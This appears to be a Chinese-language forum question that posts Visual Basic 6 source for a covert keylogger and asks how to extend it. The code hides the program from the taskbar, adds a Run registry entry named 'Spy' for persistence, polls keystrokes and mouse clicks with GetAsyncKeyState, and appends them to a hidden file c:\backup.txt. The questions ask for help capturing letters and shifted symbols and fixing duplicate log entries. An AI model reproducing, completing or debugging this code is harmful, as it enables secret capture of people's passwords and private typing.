'API函数的声明
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'--------------------------------------------------------------------
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'--------------------------------------------------------------------
Private Sub Form_KeyPress(KeyAscii As Integer)
If KeyAscii = vbKeyEscape Then '当按下ESC键时就退出
Unload Me
End If
End Sub
'--------------------------------------------------------------------
Private Sub Form_Load()
App.TaskVisible = False
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
End Sub
Private Sub Text1_Change()
End Sub
Private Sub Timer1_Timer()
Label2.Caption = Time() '加载时间
End Sub
Private Sub Timer2_Timer()
For I = 32 To 256
x = GetAsyncKeyState(I)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(I)
End If
x = GetAsyncKeyState(186)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
End If
x = GetAsyncKeyState(187)
If x = -32767 Then
Text1.Text = Text1.Text + "="
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
x = GetAsyncKeyState(191)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
End If
'------------------------------
'数字的虚拟键
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text + " (回车) "
End If
'--------------------------------------
'鼠标的虚拟键
x = GetAsyncKeyState(1)
If x = -32767 Then
Text1.Text = Text1.Text + " (鼠标左) "
End If
x = GetAsyncKeyState(2)
If x = -32767 Then
Text1.Text = Text1.Text + " (鼠标右) "
End If
'--------------------------------------
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Text1.Text + " (←) "
End If
Next I
End Sub
Private Sub Timer3_Timer()
Open "c:\backup.txt" For Append As #1
Write #1, Text1.Text + x
Close #1
Call SetAttr("c:\backup.txt", vbHidden)
End Sub
Private Sub Timer4_Timer()
Label1.ForeColor = RGB(255 * Rnd, 255 * Rnd, 255 * Rnd)
End Sub
在这段代码里,有4个问题:
一 ,
For I = 32 To 256
x = GetAsyncKeyState(I)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(I)
End If
这一代码是什么意思。
二 ,把A~Z的键记录到Text1 怎么写?
三 ,把!@#$%^&*() 这些符号的键记录到Text1 怎么写?
四 ,为什么把键记录的时候总是循环的记录,例如,我按键盘上某一个键,按照Timer设定的时间(2万),而他生成出来的backup.txt里的内容是重复的????
就这四个问题。也许我打得太复杂了,
但还是跪求大虾呀~~~~
高分追加!!!